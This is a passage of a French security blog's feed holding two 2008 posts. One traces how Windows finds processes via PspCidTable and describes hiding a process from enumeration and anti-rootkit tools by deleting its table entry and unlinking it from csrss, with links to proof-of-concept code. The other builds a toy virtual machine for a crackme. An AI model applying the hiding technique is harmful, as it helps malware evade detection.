bruteforçant les &lt;span style="font-weight: bold;"&gt;PIDs &lt;/span&gt;de ceux-ci.&lt;br /&gt;Seulement, tout cela m'interpelle, comment était-il possible de retrouver ce processus, alors qu'il n'était plus présent dans les structures &lt;span style="font-weight: bold;"&gt;EPROCESS &lt;/span&gt;..?&lt;br /&gt;&lt;br /&gt;La réponse ne devrait pas être trop complexe à rechercher ; en effet un commentaire de &lt;span style="font-weight: bold;"&gt;Ivanlef0u &lt;/span&gt;nous donne de précieuses informations : il aborde la présence d'une mystérieuse table prénommé &lt;span style="font-weight: bold;"&gt;PspCidTable  &lt;/span&gt;référençant des informations concernant les processus à savoir une translation entres &lt;span style="font-weight: bold;"&gt;PIDs&lt;/span&gt;/&lt;span style="font-weight: bold;"&gt;TIDs &lt;/span&gt;et objet &lt;span style="font-weight: bold;"&gt;EPROCESS&lt;/span&gt;/&lt;span style="font-weight: bold;"&gt;ETHREAD&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Nous voilà sur la bonne route, sortons IDA afin d'analyser les apis utilisées dans le code de lilxam ; le réel problème étant de savoir comment le système se débrouille pour trouver le processus en question, désassemblons un peu &lt;span style="font-weight: bold;"&gt;OpenProcess &lt;/span&gt;exporté par kernel32.dll.&lt;br /&gt;Nous suivons en premier lieu les appels successif à savoir:&lt;br /&gt;&lt;br /&gt;-&gt;&lt;span style="font-weight: bold;"&gt;OpenProcess&lt;/span&gt;&lt;br /&gt;--&gt;&lt;span style="font-weight: bold;"&gt;NtOpenProcess&lt;/span&gt;&lt;br /&gt;---&gt;&lt;span style="font-weight: bold;"&gt;ZwOpenProcess&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Nous savons bien que le système afin de permettre l'appel d'un syscall va passer par la &lt;span style="font-weight: bold;"&gt;SSDT &lt;/span&gt;pour retrouver l'adresse de la fonction associé à son numéro de syscall (&lt;span style="font-weight: bold;"&gt;0x7a &lt;/span&gt;pour NtOpenProcess).&lt;br /&gt;Balayons alors ce code à la recherche de la translation &lt;span style="font-weight: bold;"&gt;PID&lt;/span&gt;/&lt;span style="font-weight: bold;"&gt;TID &lt;/span&gt;en objet &lt;span style="font-weight: bold;"&gt;EPROCESS&lt;/span&gt;/&lt;span style="font-weight: bold;"&gt;ETHREAD &lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;PAGE:004A9C92 cmp [ebp+var_1A], 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;PAGE:004A9C96 jnz loc_52ADDF&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;PAGE:004A9C9C cmp [ebp+var_19], 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;PAGE:004A9CA0 jz loc_50F76D&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;PAGE:004A9CA6 mov [ebp+var_30], esi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;PAGE:004A9CA9 cmp [ebp+var_28], esi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;PAGE:004A9CAC jnz loc_4D88A0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;PAGE:004A9CB2 lea eax, [ebp+var_24]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;PAGE:004A9CB5 push eax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;PAGE:004A9CB6 push [ebp+var_2C]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;PAGE:004A9CB9 call _PsLookupProcessByProcessId@8&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;L'appel à &lt;/span&gt;&lt;span style="font-size:100%;"&gt;PsLookupProcessByProcessId est plus que révélateur, son nom en dit assez large sur son rôle et de plus cette fonction est renseigné par la msdn.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Désassemblons cette dernière fonction, notre réponse y est surement caché :).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family: courier new;font-family:courier new;" &gt;&lt;span style="font-size:100%;"&gt;PAGE:004A9B25 mov edi, edi&lt;br /&gt;PAGE:004A9B27 push ebp&lt;br /&gt;PAGE:004A9B28 mov ebp, esp&lt;br /&gt;PAGE:004A9B2A push ebx&lt;br /&gt;PAGE:004A9B2B push esi&lt;br /&gt;PAGE:004A9B2C mov eax, large fs:124h&lt;br /&gt;PAGE:004A9B32 push [ebp+arg_0]&lt;br /&gt;PAGE:004A9B35 mov esi, eax&lt;br /&gt;PAGE:004A9B37 dec dword ptr [esi+0D4h]&lt;br /&gt;PAGE:004A9B3D push _PspCidTable&lt;br /&gt;PAGE:004A9B43 call _ExMapHandleToPointer@8&lt;br /&gt;PAGE:004A9B48 mov ebx, eax&lt;br /&gt;PAGE:004A9B4A test ebx, ebx &lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Mais que voyons nous ; notre"&lt;/span&gt;&lt;span style="font-size:100%;"&gt;PspCidTable".&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Arrivé ici nous comprenons alors que les apis qu'utilise notre très cher &lt;/span&gt;&lt;span style="font-size:100%;"&gt;lilxam ; en particulier&lt;/span&gt; &lt;span style="font-size:100%;"&gt;OpenProcess se base donc sur cette fameuse table pour retrouver notre processus à partir&lt;/span&gt; &lt;span style="font-size:100%;"&gt;de son &lt;/span&gt;&lt;span style="font-size:100%;"&gt;PID.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Sans plus attendre je vous recommande (encore) un &lt;a href="http://www.ivanlef0u.tuxfamily.org/?p=57"&gt;article&lt;/a&gt; de mon &lt;/span&gt;&lt;span style="font-size:100%;"&gt;noble jedi ;&lt;/span&gt; &lt;span style="font-size:100%;"&gt;celui-ci traite de long en large les tables de type &lt;/span&gt;&lt;span style="font-size:100%;"&gt;HANDLE_TABLE au prototype suivant :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;style type="text/css"&gt;  &lt;!--   @page { size: 21cm 29.7cm; margin: 2cm }   P { margin-bottom: 0.21cm }  --&gt;  &lt;/style&gt; &lt;pre style="font-family: courier new;font-family:courier new;" &gt;&lt;span style="font-size:100%;"&gt;lkd&gt; dt nt!_HANDLE_TABLE&lt;br /&gt;+0x000 TableCode : Uint4B&lt;br /&gt;+0x004 QuotaProcess : Ptr32 _EPROCESS&lt;br /&gt;+0x008 UniqueProcessId : Ptr32 Void&lt;br /&gt;+0x00c HandleTableLock : [4] _EX_PUSH_LOCK&lt;br /&gt;+0x01c HandleTableList : _LIST_ENTRY&lt;br /&gt;+0x024 HandleContentionEvent : _EX_PUSH_LOCK&lt;br /&gt;+0x028 DebugInfo : Ptr32 _HANDLE_TRACE_DEBUG_INFO&lt;br /&gt;+0x02c ExtraInfoPages : Int4B&lt;br /&gt;+0x030 FirstFree : Uint4B&lt;br /&gt;+0x034 LastFree : Uint4B&lt;br /&gt;+0x038 NextHandleNeedingPool : Uint4B&lt;br /&gt;+0x03c HandleCount : Int4B&lt;br /&gt;+0x040 Flags : Uint4B&lt;br /&gt;+0x040 StrictFIFO : Pos 0, 1 Bit &lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Ce type de table est d'ailleurs presque omni-présent dans les processus ; les &lt;span style="font-weight: bold;"&gt;handles &lt;/span&gt;que gèrent un processus sont stockés dans une table de ce genre.&lt;br /&gt;Celle-ci est accessible à l'offset &lt;span style="font-weight: bold;"&gt;0x0c4  &lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;style type="text/css"&gt;  &lt;!--   @page { size: 21cm 29.7cm; margin: 2cm }   P { margin-bottom: 0.21cm }  --&gt;  &lt;/style&gt; &lt;pre style="font-family: courier new;"&gt;lkd&gt; dt nt!_EPROCESS&lt;br /&gt;[...]&lt;br /&gt;+0x0c4 ObjectTable : Ptr32 _HANDLE_TABLE &lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;A présent, parlons &lt;span style="font-weight: bold;"&gt;PspCidTable&lt;/span&gt;.&lt;br /&gt;En glanant sur le net, on s'aperçoit assez rapidement qu'il y a quelques années la modification&lt;br /&gt;de cet table était une technique à la pointe dirais-je.&lt;br /&gt;Cependant, je me suis vite rendu compte que mes parents ont entrepris ma construction trop tard :p ; en effet mon implémentation ce chargeait d'enlever l'objet &lt;span style="font-weight: bold;"&gt;EPROCESS &lt;/span&gt;du processus à caché, mais malgrès cela &lt;span style="font-weight: bold;"&gt;RkUnhooker&lt;/span&gt;, anti-rootkit digne de ce nom, trouve toujours le moyen de retrouver l'objet &lt;span style="font-weight: bold;"&gt;EPROCESS&lt;/span&gt;, et donc de permettre le kill de celui-ci :/.&lt;br /&gt;Un peu frustré, je commence à m'interroger sur la technique que &lt;span style="font-weight: bold;"&gt;RkUnhooker &lt;/span&gt;pourrait déployer afin de retrouver ce maudit processus.&lt;br /&gt;En analysant la définition de la structure &lt;span style="font-weight: bold;"&gt;ETHREAD &lt;/span&gt;on peut remarquer qu'il existe un lien avec la structure &lt;span style="font-weight: bold;"&gt;EPROCESS &lt;/span&gt;associé, à l'offset &lt;span style="font-weight: bold;"&gt;0x220&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;style type="text/css"&gt;  &lt;!--   @page { size: 21cm 29.7cm; margin: 2cm }   P { margin-bottom: 0.21cm }  --&gt;  &lt;/style&gt; &lt;pre style="font-family: courier new;"&gt;lkd&gt; dt nt!_ETHREAD&lt;br /&gt;[...]&lt;br /&gt;+0x220 ThreadsProcess : Ptr32 _EPROCESS &lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;; on ne peut que se demander&lt;br /&gt;si &lt;span style="font-weight: bold;"&gt;RkUnhooker &lt;/span&gt;ce focalise sur les &lt;span style="font-weight: bold;"&gt;threads&lt;/span&gt;, et remonte au processus par le biais de divers fonctions.&lt;br /&gt;Me voilà repartit dans cette table, afin d'enlever les objets &lt;span style="font-weight: bold;"&gt;ETHREADs &lt;/span&gt;.. après l'implémentation, à ma grande surprise le processus devient inactif ; &lt;span style="font-weight: bold;"&gt;zombie&lt;/span&gt;...&lt;br /&gt;&lt;br /&gt;C'est donc à ce moment là que les questions jaillissent à travers mon esprit :&lt;br /&gt;&lt;br /&gt;- Comment &lt;span style="font-weight: bold;"&gt;RkUnhooker &lt;/span&gt;remet la main sur mon processus ?&lt;br /&gt;- Quel(s) technique(s) utilise t-il pour cela ?&lt;br /&gt;- Existe t-il un autre endroit où une liste des processus lancées sur le système est disponible ?&lt;br /&gt;&lt;br /&gt;Voilà concernant la &lt;span style="font-weight: bold;"&gt;PspCidTable&lt;/span&gt;, ma fonction permet alors de supprimer l'entrée concernant le processus à caché dans la table ; l'outil de lilxam est donc finalement inefficace sur ce coup là .:p.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Comme je le racontais plus haut, cette implémentation est trop maigre pour permettre de leurrer &lt;span style="font-weight: bold;"&gt;RkUnhooker&lt;/span&gt;.&lt;br /&gt;C'est donc ainsi que commence mes recherches sur les techniques existantes permettant la protection d'un processus de l'énumération. Après quelques recherches sur la toile, mon regard s'attarde sur cette &lt;a href="http://forum.sysinternals.com/forum_posts.asp?TID=15457"&gt;technique&lt;/a&gt; ; en effet le processus vital &lt;span style="font-weight: bold;"&gt;csrss.exe&lt;/span&gt; contiendrait une liste des processus lancée sur le système.&lt;br /&gt;L'auteur de la technique explique très bien les faits et son analyse est détaillée ; en quelques mots, le processus tiens à jour une liste des processus lancés sur le système sous forme de liste chainée.Il est alors aisé pour nous de pratiquer un &lt;span style="font-weight: bold;"&gt;unlink &lt;/span&gt;..&lt;br /&gt;&lt;br /&gt;Pour un projet personnel, j'ai décidé de porter cette unlink en &lt;span style="font-weight: bold;"&gt;ring0 &lt;/span&gt;; celle-ci devient alors tout de suite bien plus &lt;span style="font-weight: bold;"&gt;intéréssante &lt;/span&gt;car on est obligé de faire appel à pleins de petites choses pour arrivé à nos fin : du parcours de &lt;span style="font-weight: bold;"&gt;PE&lt;/span&gt;, de l'attachement à l'&lt;span style="font-weight: bold;"&gt;user-space&lt;/span&gt; d'un processus et j'en passe.&lt;br /&gt;&lt;br /&gt;Les liens :&lt;br /&gt;-&lt;a href="http://overclok.free.fr/Codes/PspCidTable/PspCidTablePoC.htm"&gt;PspCidTable PoC&lt;/a&gt;&lt;br /&gt;-&lt;a href="http://overclok.free.fr/Codes/PspCidTable/UnlinkInCrss%20-%20Ring0.html"&gt;UnlinkListEntryInCsrss&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Sinan si vous ne savez pas quoi faire, je vous conseil d'aller faire un tour sur le site de la &lt;a href="http://fat.next-touch.com/"&gt;F.A.T&lt;/a&gt;.&lt;br /&gt;Cette petite &lt;span style="font-weight: bold;"&gt;team &lt;/span&gt;aux membres bien sympathiques publient des codes et papers vraiment géniaux ( je pense au dernier que j'ai lu ; autrement dit le paper concernant &lt;span style="font-weight: bold;"&gt;win32.leon&lt;/span&gt; par &lt;span style="font-weight: bold;"&gt;kaze &lt;/span&gt;) ..enfin bref à bookmarker pour ceux qui ne connaissent pas :).&lt;br /&gt;&lt;br /&gt;Et si vous en voulez encore un peu, je vous conseil de lire les derniers articles de deux de mes amis :&lt;br /&gt;&lt;br /&gt;-Celui de &lt;a href="http://rce.servhome.org/blog/?p=9"&gt;&lt;span style="font-weight: bold;"&gt;rAsM &lt;/span&gt;&lt;/a&gt;; monsieur met en place une technique pouvant servir de base à un potentiel &lt;span style="font-weight: bold;"&gt;keylogger kernel&lt;/span&gt; (a condition de patcher les &lt;span style="font-weight: bold;"&gt;BSODs &lt;/span&gt;:))).&lt;br /&gt;&lt;br /&gt;-Celui de &lt;a href="http://www.ivanlef0u.tuxfamily.org/?p=188"&gt;&lt;span style="font-weight: bold;"&gt;Ivanlef0u &lt;/span&gt;&lt;/a&gt;; mon &lt;span style="font-weight: bold;"&gt;s1ths &lt;/span&gt;préféré propose un petit article concernant le &lt;span style="font-weight: bold;"&gt;subsystem csrss&lt;/span&gt; en abordant notament les processus consoles.&lt;br /&gt;&lt;br /&gt;Pour clore ce petit post, un dernier &lt;a href="http://hi.baidu.com/sudami/blog/item/002b971bd42b59d3ac6e757f.html"&gt;&lt;span style="font-weight: bold;"&gt;lien &lt;/span&gt;&lt;/a&gt;; celui-ci vient tout droit des &lt;span style="font-weight: bold;"&gt;dragons asiatiques&lt;/span&gt; ..&lt;span style="font-weight: bold;"&gt;Sudami &lt;/span&gt;reverseur de talent continus de nous faire réver en nous proposant de nouvelles techniques de &lt;span style="font-weight: bold;"&gt;DKOMs &lt;/span&gt;; celle-ci aborde le hook d'une fonction stockée dans la structure liée aux &lt;span style="font-weight: bold;"&gt;Objects Types Initializers&lt;/span&gt; ( ..qui m'avait mis en échec &lt;a href="http://0vercl0k.blogspot.com/2008/03/ph03nix-et-lobject-manager.html"&gt;ici &lt;/a&gt;).&lt;br /&gt;Bien evidement, raffolant de ce genre de technique je m'empresse de mettre en place un petit driver capable de placer ce hook mais c'est (du moins chez moi (XP SP2 FR)) un &lt;span style="font-weight: bold;"&gt;échec&lt;/span&gt;.. la routine est apparement bien appelé par le &lt;span style="font-weight: bold;"&gt;system &lt;/span&gt;mais en aucun cas elle empèche la fermeture du processus.&lt;br /&gt;Peut-être que &lt;span style="font-weight: bold;"&gt;sudami &lt;/span&gt;explique les limites de sa technique dans son article, ou que celle-ci est valable avec des &lt;span style="font-weight: bold;"&gt;pré-requis&lt;/span&gt;.. Enfin bon si quelqu'un en sait plus qu'il me contacte :).&lt;br /&gt;&lt;br /&gt;Voilà pour ce petit article, en espérant que je vous aurrez appris quelque(s) chose(s),&lt;br /&gt;bonne journée à vous.&lt;br /&gt;PS : &lt;span style="font-weight: bold;"&gt;Bonne rentrée&lt;/span&gt; à ceux qui ne l'ont toujours pas faite.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-2159125498276326818?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/2159125498276326818/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=2159125498276326818' title='16 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/2159125498276326818'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/2159125498276326818'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2008/08/how-to-pwn-lilxams-toolz.html' title='How to pwn lilxam&apos;s toolz :).'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>16</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-3435526030428271252</id><published>2008-07-27T09:04:00.000-07:00</published><updated>2008-07-27T11:40:58.485-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='coder vm'/><category scheme='http://www.blogger.com/atom/ns#' term='vm'/><category scheme='http://www.blogger.com/atom/ns#' term='virtualization'/><category scheme='http://www.blogger.com/atom/ns#' term='protection logicielle'/><category scheme='http://www.blogger.com/atom/ns#' term='machine virtuelle'/><category scheme='http://www.blogger.com/atom/ns#' term='Virtualisation'/><category scheme='http://www.blogger.com/atom/ns#' term='virtual machine'/><title type='text'>Create ur own worldz with virtualization.</title><content type='html'>Entres deux projets j'ai enfin trouvé le temps pour vous concocter un petit article. &lt;p style="margin-bottom: 0cm;"&gt;Celui-ci portera sur les machines virtuelles, souvent abrégées "VM" (Virtual Machine) ; c'est une technologie aujourd'hui en pleine expansion, on en trouve dans presque tous les domaines :&lt;/p&gt;  &lt;p style="margin-left: 1.25cm; margin-bottom: 0cm;" lang="fr-FR"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-left: 1.25cm; margin-bottom: 0cm;" lang="fr-FR"&gt; Pour le Reverse Engineering, elles servent de sandbox et permettent de mener de nombreux tests "à l'abris".&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-left: 1.25cm; margin-bottom: 0cm;" lang="fr-FR"&gt;Pour l’analyse des menaces informatiques, des VMs sont mises en ligne et font office d’honeypot.&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-left: 1.25cm; margin-bottom: 0cm;" lang="fr-FR"&gt;Pour l'hébergement web, quelques machines physiques hébergent plusieurs VMs, spécifique à chaque service&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;En bref on en voit un peu partout :).&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;L’utilisation qui m'a intéressée ici est celle des protections logicielles, ou encore des crackmes.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Non pas que je sois fan de ce genre de binaire, créés pour faire tourner en bourrique la dite personne, mais ne voyant pas trop comment cette technologie pouvait être utilisée dans ce contexte, j'ai tenté l'expérience :).&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;h3 class="western"&gt;I] Un exemple presque inévitable : la machine virtuelle java abrégée JVM.&lt;/h3&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Bien évidement, je ne pouvais éviter l'exemple de la célèbre &lt;span style="color: rgb(0, 0, 128);"&gt;&lt;u&gt;&lt;a href="http://fr.wikipedia.org/wiki/Machine_virtuelle_Java"&gt;JVM&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;. En effet elle illustre un gros avantage de la virtualisation, la possibilité de créer un pseudo-code réalisant les mêmes actions quelque soit la plateforme où il est lancé.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;C'est bien évidemment le coeur du fonctionnement de java ; le langage java est "traduit" en bytecode java qui lui est directement interprété par la machine virtuelle.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Il est alors juste nécessaire de développer un interpréteur pour chaque plateforme, celui-ci interprétera ce bytecode java de la même façon.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Cependant comme vous pouviez vous en doutez, cette technologie possède bien évidemment des limites.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Premièrement, cette technologie est finalement une "sur-couche" ; son exécution sera alors plus lente du fait que ce bytecode sera interprété par un autre programme.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Ensuite, il ne faut pas perdre de vue que l’implémentation d'une machine virtuelle complète est un travail harassant ; il suffit de consulter les spécifications du &lt;span style="color: rgb(0, 0, 128);"&gt;&lt;u&gt;&lt;a href="http://java.sun.com/docs/books/jvms/second_edition/html/VMSpecTOC.doc.html"&gt;bytecode java&lt;/a&gt;&lt;/u&gt;&lt;/span&gt; pour constater l'ampleur du projet.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Je ne l'ai pas précisé mais la VM doit bien évidemment avoir à disposition tout un environnement où sera interprété notre langage : des registres, une pile etc.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;h3 class="western"&gt;II] Design de notre code.&lt;/h3&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Comme je l'ai précisé au départ ce qui m'intéressait était de comprendre le fonctionnement et la mise en place d'une protection logicielle par le biais d'une machine virtuelle.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Celle-ci sera on ne peux plus simple ; en effet j'ai choisis de ne pas mettre à disposition en environnement digne de ce nom ; l'envie et le niveau me manque :).&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Le code interprété aura donc à sa disposition une pile et des registres classiques ; le minimum pour pouvoir développer une """""protection logicielle""""".&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;J'ai aussi décidé de créer un petit jeu d’instruction très basique, le minimum vital ; Il suffit en tout cas à comprendre que le développement d’une VM est une tâche longue et fastidieuse…  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Pour éviter de coder avec les "bytecode" que nous allons créer, j'ai pensé à mettre en place un système de "traduction".&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;L'idée est à partir d'une syntaxe asm x86 de convertir celle-ci en notre pseudo-code ; cette espèce de traducteur est codé en perl (celui-ci d'ailleurs est très sale et non optimisé.. mais fonctionnel :)).&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Par exemple si je donne à mon script perl :   &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;pre&gt;mov eax,ebx&lt;/pre&gt;&lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Il va bien gentiment me donnez l'équivalent en pseudo-code autrement dit:&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;pre&gt; "\x14\x00\x01"&lt;/pre&gt;&lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Parlons maintenant du squelette de notre interpréteur.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Une variable va donc nous servir de registre EIP, celle-ci pointera sur nos opcodes, ensuite il nous reste juste à les parser et les interpréter ; en gros nous avons le schéma suivant :&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;pre&gt;while(*eip)&lt;br /&gt;switch *eip&lt;br /&gt;case INSTRU1:&lt;br /&gt;&lt;span lang="en-GB"&gt;   ...&lt;/span&gt;&lt;br /&gt;&lt;span lang="en-GB"&gt;   &lt;/span&gt;&lt;span lang="en-GB"&gt;sizeOfInstru = 3&lt;/span&gt;&lt;br /&gt;case INSTRU2:&lt;br /&gt;&lt;span lang="en-GB"&gt;   ...&lt;/span&gt;&lt;br /&gt;&lt;span lang="en-GB"&gt;   sizeOfInstru = 5&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;eip += sizeOfInstru;&lt;/pre&gt;&lt;p style="margin-bottom: 0cm;" lang="en-GB"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Une fois réalisé ce petit schéma tout devrait s'éclaircir pour vous ; ça commence à coder dans la tête normalement :).&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Encore une fois pour me faciliter la tâche, les instructions que j'ai implenté sont : MOV, INC, PUSH, POP, CMP, EXIT.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Ces instructions vous ferront évidemment pensées à de l'asm bien sûr, seulement certaines ont été implentées pour pouvoir monter ma petite protection servant d'illustration :).&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Concernant mon traducteur, j'ai choisis le language perl ; un language que j'apprecie beaucoup.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Seulement comme dit précedemment, le code se résoud à de piètres conditions (une pour chaque type d'instruction), et ajoutez à cela une petite dose de regex !&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Pour ceux qui voudrait s'essayer au reverse de cette protection (en carton vous êtes prévenue :p) ne regardez pas les fichiers « tapz » (celui-ci est à passé au « traducteur » pour avoir la suite d'opcode), vous sortez votre debugguer préféré et vous vous attaquez au binaire « ExempleProtectionLogiciel.exe ».&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Afin que vous ayez tous sous la main, je vois est uppé une petite archive contenant binaires/sources ; et pour ceux qui souhaitent observer les sources en lignes, elles sont disponibles en html.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Bon j'esepère que cela pourra apprendre quelques choses à certains, ce petit post m'a pas mal divertit, lorsque qu'on code une « mini-vm » ça reste plutôt sympathique :).&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Sinan je vous conseil vivement le dernière &lt;a href="http://www.ivanlef0u.tuxfamily.org/?p=173"&gt;article&lt;/a&gt; de mon keupin &lt;a href="http://www.ivanlef0u.tuxfamily.org/"&gt;Ivanlef0u&lt;/a&gt; ; il illustre un reverse relatif au planificateur de taches, celui-ci aboutira à une technique permettant de dumper les accès avec lesquelles les taches ont été créer.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Alors pour les fichiers consultablent en ligne :&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;-&lt;a href="http://overclok.free.fr/Codes/VirtualMachine/compil.txt"&gt;Le traducteur.&lt;/a&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;-&lt;a href="http://overclok.free.fr/Codes/VirtualMachine/MiniVmPar0vercl0k.htm"&gt;La dll&lt;/a&gt;.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;-&lt;a href="http://overclok.free.fr/Codes/VirtualMachine/exempleProtectionLogiciel.htm"&gt;Le binaire&lt;/a&gt; qui implente la protection en carton.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Le petite packetage maintenant :&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;-&lt;a href="http://overclok.free.fr/Codes/VirtualMachine/VirtualMachine.rar"&gt;Packetage&lt;/a&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt;Je tenais aussi à remercier Deimos pour m'avoir donné l'idée de traiter ce sujet ( &lt;span style="font-weight: bold;"&gt;Deimos a dit : phear ze vm&lt;/span&gt;    :)))&lt;br /&gt;&lt;br /&gt;Bonne après-midi à vous ;).&lt;br /&gt;&lt;br /&gt;PS : Concernant la vm, INVOKE est une instruction pour laquelle j'ai un peu triché, en effet au lieu de déposer les arguments sur la pile 